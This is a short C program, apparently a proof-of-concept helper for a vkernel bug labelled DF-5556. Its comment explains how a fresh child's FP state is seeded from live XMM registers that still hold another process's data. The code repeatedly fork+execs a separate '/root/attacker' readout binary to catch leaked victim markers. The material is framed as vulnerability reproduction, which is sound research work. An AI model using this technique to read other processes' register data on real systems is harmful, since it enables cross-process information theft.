/*
 * DF-5556 prober — runs INSIDE the vkernel, UNRELATED to the victim.
 *
 * Fork+execs the readout binary (/root/attacker) 20 times in a tight
 * loop while an independently-started victim process continuously
 * reloads markers into its XMM registers.  Every exec creates a fresh
 * first-user-entry for the child: the vkernel's npxdna()/npxinit()
 * seeds the child's FP state from the LIVE registers — which still hold
 * the victim's markers whenever the victim was the last FP owner
 * (the vkernel kernel itself is compiled -mno-sse and never touches
 * XMM; only userland intermediaries clobber them).
 *
 * Build: cc -static -O2 -o prober prober.c
 */
#include <unistd.h>
#include <sys/wait.h>

int main(void)
{
	int i, st;

	for (i = 0; i < 20; i++) {
		pid_t pid = fork();
		if (pid == 0) {
			execl("/root/attacker", "attacker", (char *)NULL);
			_exit(9);
		}
		if (pid > 0)
			wait(&st);
	}
	write(2, "PROBER_DONE\n", 12);
	return 0;
}
